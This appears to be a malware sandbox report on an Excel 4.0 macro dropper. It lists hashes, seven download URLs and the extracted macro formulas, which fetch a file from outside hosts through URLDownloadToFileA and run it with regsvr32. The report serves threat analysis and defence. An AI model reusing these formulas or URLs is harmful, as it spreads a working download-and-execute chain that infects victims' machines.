General

  • Target

    4ea6cbe0e0cd72064350f96c88278e948b5e90d28601e82337a798539ab67098

  • Size

    50KB

  • Sample

    241120-wx49tsvqel

  • MD5

    a2583ae6b93f22c2c4b1acbcaf441520

  • SHA1

    a244f15473fae8ecf68bfaa7598892453c61d5ae

  • SHA256

    4ea6cbe0e0cd72064350f96c88278e948b5e90d28601e82337a798539ab67098

  • SHA512

    96560dbc95c45e0d15c9862a03ade72a81e1a7982c1d40cfdd748ea958b87ba489ab876244043687c62dc28a1c812f087e0bb95e7313499fb759a185d330e202

  • SSDEEP

    768:Xx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:XXD9okncDSmSIBlGeuSEcm2h0BPu

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

http://boardingschoolsoftware.com/backup/CtMR5Yi/

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

https://descontador.com.br/css/q5nrG6ua/

http://letea.eu/wp-content/3GgF4miFZTq9/

http://quoctoan.c1.biz/wp-admin/j8Zu/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

xlm40.dropper

http://boardingschoolsoftware.com/backup/CtMR5Yi/

xlm40.dropper

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

xlm40.dropper

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

xlm40.dropper

https://descontador.com.br/css/q5nrG6ua/

xlm40.dropper

http://letea.eu/wp-content/3GgF4miFZTq9/

xlm40.dropper

http://quoctoan.c1.biz/wp-admin/j8Zu/

Targets

    • Target

      4ea6cbe0e0cd72064350f96c88278e948b5e90d28601e82337a798539ab67098

    • Size

      50KB

    • MD5

      a2583ae6b93f22c2c4b1acbcaf441520

    • SHA1

      a244f15473fae8ecf68bfaa7598892453c61d5ae

    • SHA256

      4ea6cbe0e0cd72064350f96c88278e948b5e90d28601e82337a798539ab67098

    • SHA512

      96560dbc95c45e0d15c9862a03ade72a81e1a7982c1d40cfdd748ea958b87ba489ab876244043687c62dc28a1c812f087e0bb95e7313499fb759a185d330e202

    • SSDEEP

      768:Xx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:XXD9okncDSmSIBlGeuSEcm2h0BPu

    Score
    10/10

MITRE ATT&CK Enterprise v15

Tasks